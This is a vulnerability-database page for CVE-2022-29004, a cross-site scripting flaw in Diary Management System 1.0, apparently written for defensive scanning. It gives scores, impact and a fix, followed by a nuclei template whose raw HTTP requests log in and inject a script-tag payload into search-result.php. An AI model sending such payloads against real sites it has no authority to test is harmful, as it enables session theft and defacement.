Diary Management System 1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.

Fix

To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: POST /edms/login.php ; POST /edms/search-result.php
Positive when: contains "Serach Result Against \"<script>alert(document.domain);</scr…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-29004 -u <target>

The full check

id: CVE-2022-29004

info:
  name: Diary Management System 1.0 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/sudoninja-noob/CVE-2022-29004/blob/main/CVE-2022-29004.txt
    - https://phpgurukul.com/e-diary-management-system-using-php-and-mysql/
    - http://phpgurukul.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29004
    - https://github.com/manas3c/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29004
    cwe-id: CWE-79
    epss-score: 0.02944
    epss-percentile: 0.87257
    cpe: cpe:2.3:a:phpgurukul:e-diary_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpgurukul
    product: e-diary_management_system
  tags: cve2022,cve,xss,authenticated,edms,phpgurukul,vuln

http:
  - raw:
      - |
        POST /edms/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        logindetail={{username}}&userpassword={{password}}&login=
      - |
        POST /edms/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        searchdata=<script>alert(document.domain);</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Serach Result Against "<script>alert(document.domain);</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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